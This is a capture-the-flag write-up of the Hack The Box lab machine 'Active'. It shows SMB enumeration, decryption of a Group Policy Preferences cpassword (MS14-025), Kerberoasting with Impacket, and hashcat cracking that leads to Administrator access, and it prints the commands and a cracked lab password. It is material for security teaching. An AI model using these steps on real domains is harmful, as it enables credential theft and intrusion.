Hack The Box - Active

3 minute read



This machine was fairly straight forward and mimicked something you’d unfortunately expect to see even today in a typical penetration test. All in all it’s a decent box for introducing someone to some basic ways of pentesting Active Directory environments.

Gaining Access

  • Connect to open SMB share
  • Get GPP information from Groups.xml
  • Decrypt cpassword and login

Elevating Privileges

  • Get user SPN from DC
  • Crack password
  • Connect via SMB as Administrator


First step is to enumerate open ports.

root@mintsec:~# nmap -sC -sV -oA nmap
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-10-23 08:37:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2018-10-23 19:08:05
|_  start_date: 2018-10-23 15:01:23

This revealed SMB services were open, so I enumerated them for more information.

root@mintsec:~# enum4linux

Connect to open SMB share

This revealed an open share called Replication so I connected to the Replication share.

root@mintsec:~# smbclient -n //

Within here I found an XML file hidden away.


<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

Get GPP information from Groups.xml

This had domain and user information.


It also contained a cpassword entry waiting to be taken.


This is particularly useful, as although it’s technically encrypted, Microsoft released the algorithm used to encrypt this and it’s now trivial to decrypt passwords stored through Group Policy Preferences. This comes under the vulnerability MS14-025.

Decrypt cpassword and login

More information on MS14-025 can be found here

So I decrypted the passsword using group policy decrypt.

root@mintsec:~# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Gaining Access

From here I could connect via SMB using the gathered password.

root@mintsec:~# smbclient \\\\\\Users --user=SVC_TGS

Success, I had access and could read user.txt

User.txt: 86d67 … 9e983

Get user SPN from Domain Controller

From here I was able to get a user Service Principal Name (SPN) hash from the domain controller using a common tool found as part of the Impacket toolkit. The reason this was successful is that under the hood of Active Directory Kerberos authentication essentially maps a running service to the account which is running it and this becomes the Service Principal name. Whenever a user in the domain wants to access that resource, they get granted a kerberos ticket under the context of the account which is running the service.

More information on SPNs can be found here

root@mintsec:~# GetUserSPNs.py -request -dc-ip ACTIVE.htb/SVC_TGS
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 04:36:40 2018-07-31 02:47:40

Crack password

With my specific setup I have another Windows OS running dedicated GPU for password cracking, so I elect to use this over the standard linux environment.

At this point I had the hash of the Administrator user as this is what the CIFS service was running under. Using hashcat I was able to crack this in a matter of seconds using the rockyou.txt wordlist.

hashcat64.exe -m 13100 crack.txt rockyou.txt

With the above, crack.txt has been filled with the hash and -m type 13100 indicates it is a kerberos hash.

Password: Ticketmaster1968

Connect via SMB as Administrator

From here I can now connect with the Administrator’s password.

root@mintsec:~# smbclient \\\\\\Users --user=Administrator

Elevating Privileges

root.txt: b5fc7 … f708b

Final Notes

At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.